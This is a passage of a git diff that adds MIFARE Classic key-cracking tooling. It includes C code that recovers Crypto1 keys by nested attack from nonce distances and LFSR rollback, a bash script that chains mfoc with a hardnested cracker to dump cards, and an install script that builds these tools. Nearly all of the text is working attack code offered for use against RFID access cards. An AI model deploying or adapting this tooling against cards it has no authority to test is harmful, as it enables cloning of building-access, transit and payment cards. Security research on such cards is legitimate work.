exit(EXIT_FAILURE); + } + // fprintf(stdout, "Authentication completed.\n\n"); + + // If we are in "Get Distances" mode + if (mode == 'd') { + for (m = 0; m < d->num_distances; m++) { + // fprintf(stdout, "Nested Auth number: %x: ,", m); + // Encrypt Auth command with the current keystream + for (i = 0; i < 4; i++) { + AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; + // Encrypt the parity bits with the 4 plaintext bytes + AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); + } + + // Sending the encrypted Auth command + if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { + fprintf(stdout, "Error requesting encrypted tag-nonce\n"); + exit(EXIT_FAILURE); + } + + // Decrypt the encrypted auth + if (t.sectors[e_sector].foundKeyA) { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); + } else { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); + } + NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1); + + // Save the determined nonces distance + d->distances[m] = nonce_distance(Nt, NtLast); + int checkForValidPRNG = dist_nt(Nt, NtLast); + //printf("NT distance: %d\n", checkForValidPRNG); + + // if no distance between, then we are in sync. + if (checkForValidPRNG == 0) { + printf("NT Distance is zero..........\n"); + } else { + if (checkForValidPRNG == -99999) { // invalid nonce received + ++unexpected_random; + if (unexpected_random > 4) { + printf("PRNG is not vulnerable to nested attack\n"); + return -99999; + } + } + } + + // Again, prepare and send {At} + for (i = 0; i < 4; i++) { + ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); + } + Nt = prng_successor(NtLast, 32); + for (i = 4; i < 8; i++) { + Nt = prng_successor(Nt, 8); + ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF); + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); + } + nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false); + if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + ERR("Reader-answer transfer error, exiting.."); + exit(EXIT_FAILURE); + } + Nt = prng_successor(Nt, 32); + if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { + ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); + exit(EXIT_FAILURE); + } + } // Next auth probe + + // Find median from all distances + d->median = median(*d); + //fprintf(stdout, "Median: %05d\n", d->median); + } // The end of Get Distances mode + + // If we are in "Get Recovery" mode + if (mode == 'r') { + // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC + Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; + Auth[1] = a_sector; + iso14443a_crc_append(Auth, 2); + + // Encryption of the Auth command, sending the Auth command + for (i = 0; i < 4; i++) { + AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; + // Encrypt the parity bits with the 4 plaintext bytes + AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); + } + if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { + ERR("while requesting encrypted tag-nonce"); + exit(EXIT_FAILURE); + } + + // Finally we want to send arbitrary parity bits + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M"); + exit(EXIT_FAILURE); + } + + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M"); + exit(EXIT_FAILURE); + } + + // Save the encrypted nonce + NtEnc = bytes_to_num(Rx, 4); + + // Parity validity check + for (i = 0; i < 3; ++i) { + d->parity[i] = (oddparity(Rx[i]) != RxPar[i]); + } + + // Iterate over Nt-x, Nt+x + // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE); + NtProbe = prng_successor(Nt, d->median - d->tolerance); + for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) { + + // Try to recover the keystream1 + Ks1 = NtEnc ^ NtProbe; + + // Skip this nonce after invalid 3b parity check + revstate_start = NULL; + if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) { + // And finally recover the first 32 bits of the key + revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid); + if (revstate_start == NULL) { + revstate_start = revstate; + } + while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { + lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0); + crypto1_get_lfsr(revstate, &lfsr); + // Allocate a new space for keys + if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) { + pk->size += MEM_CHUNK; + // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t)); + pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t)); + if (pk->possibleKeys == NULL) { + ERR("Memory allocation error for pk->possibleKeys"); + exit(EXIT_FAILURE); + } + } + pk->possibleKeys[kcount] = lfsr; + kcount++; + revstate++; + } + free(revstate_start); + } + NtProbe = prng_successor(NtProbe, 2); + } + // Truncate + if (kcount != 0) { + pk->size = --kcount; + if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) { + ERR("Memory allocation error for pk->possibleKeys"); + exit(EXIT_FAILURE); + } + } + } + crypto1_destroy(pcs); + return 11; +} + +// Return the median value from the nonce distances array +uint32_t median(denonce d) +{ + int middle = (int) d.num_distances / 2; + qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int); + + if (d.num_distances % 2 == 1) { + // Odd number of elements + return d.distances[middle]; + } else { + // Even number of elements, return the smaller value + return (uint32_t)(d.distances[middle - 1]); + } +} + +int compar_int(const void *a, const void *b) +{ + return (*(uint64_t *)b - * (uint64_t *)a); +} + +// Compare countKeys structure +int compar_special_int(const void *a, const void *b) +{ + return (((countKeys *)b)->count - ((countKeys *)a)->count); +} + +countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) +{ + unsigned int i, j = 0; + int count = 0; + countKeys *our_counts; + + qsort(possibleKeys, size, sizeof(uint64_t), compar_int); + + our_counts = calloc(size, sizeof(countKeys)); + if (our_counts == NULL) { + ERR("Memory allocation error for our_counts"); + exit(EXIT_FAILURE); + } + + for (i = 0; i < size; i++) { + if (possibleKeys[i + 1] == possibleKeys[i]) { + count++; + } else { + our_counts[j].key = possibleKeys[i]; + our_counts[j].count = count; + j++; + count = 0; + } + } + qsort(our_counts, j, sizeof(countKeys), compar_special_int); + return (our_counts); +} + + +// Return 1 if the nonce is invalid else return 0 +int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) +{ + return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \ + (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \ + (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0; +} + +void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest) +{ + while (len--) { + dest[len] = (uint8_t) n; + n >>= 8; + } +} + +long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) +{ + uint64_t num = 0; + while (len--) { + num = (num << 8) | (*src); + src++; + } + return num; +} diff --git a/miLazyCracker.sh b/miLazyCracker.sh new file mode 100644 index 0000000..655262a --- /dev/null +++ b/miLazyCracker.sh @@ -0,0 +1,71 @@ +#!/bin/bash + +mfoc -O /tmp/asdf1234zxcvqwerlkjh0978.mfd +mfocResult=$? +prngNotVulnerable=9 +keepTrying=1 +foundKeysForMFOC=" " + +while [ $keepTrying -eq 1 ] +do +#echo "MFOC result: $mfocResult" +if [ "$mfocResult" == "$prngNotVulnerable" ];then + echo "MFOC not possible, detected hardened Mifare Classic" + if [ "$mfocResult" -eq 9 ];then + FILENAME="/tmp/unknownMfocSectorInfo_123456asdfqwer.txt" + count=0 + while read LINE + do + let count++ + #echo "$count $LINE" + done < $FILENAME + + arr=(`echo $LINE | tr ';' ' '`) + #echo ${arr[0]} + #echo ${arr[1]} + #echo ${arr[2]} + #echo ${arr[3]} + #echo ${arr[4]} + + knownKey=${arr[0]} + knownSectorNum=${arr[1]} + knownKeyLetter=${arr[2]} + unknownSectorNum=${arr[3]} + unknownKeyLetter=${arr[4]} + knownBlockNum=$(($knownSectorNum * 4)) + unknownBlockNum=$(($unknownSectorNum * 4)) + echo "Trying HardNested Attack..." + mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter") + echo "${mycmd[@]}" + "${mycmd[@]}" + else + echo "mfoc returned: $mfocResult" + keepTrying=0 + fi + + cryptoCrackResult=$? + if [ "$cryptoCrackResult" -eq 0 ];then + FILENAME="/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt" + while read LINE + do + echo "$LINE" + done < $FILENAME + + #arr=(`echo $LINE | tr ';' ' '`) + #echo ${arr[0]} + #echo ${arr[1]} + #echo ${arr[2]} + #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " + mycmd=(mfoc -f "$FILENAME" -O /tmp/asdf1234zxcvqwerlkjh0978.mfd) + echo "${mycmd[@]}" + "${mycmd[@]}" + mfocResult=$? + fi +else + keepTrying=0 +fi +done + +rm -rf /tmp/asdf1234zxcvqwerlkjh0978.mfd +rm -rf /tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt +rm -rf /tmp/unknownMfocSectorInfo_123456asdfqwer.txt diff --git a/miLazyCrackerFreshInstall.sh b/miLazyCrackerFreshInstall.sh new file mode 100644 index 0000000..8988255 --- /dev/null +++ b/miLazyCrackerFreshInstall.sh @@ -0,0 +1,26 @@ +#run this from inside miLazyCracker git repo + +sudo apt-get install git +sudo apt-get install libnfc-bin +sudo apt-get install autoconf +sudo apt-get install libnfc-dev + +#install MFOC +git clone https://github.com/nfc-tools/mfoc.git +cd mfoc +cp ../mfoc.c src/ #copy in modified mfoc.c +sudo autoreconf -vfi +./configure +sudo make +sudo make install + +cd .. + +#install Hardnested Attack Tool +git clone https://github.com/aczid/crypto1_bs +cd crypto1_bs +cp ../libnfc_crypto1_crack.c . #copy in modified .c +make get_craptev1 +make get_crapto1 +make +sudo cp libnfc_crypto1_crack /usr/bin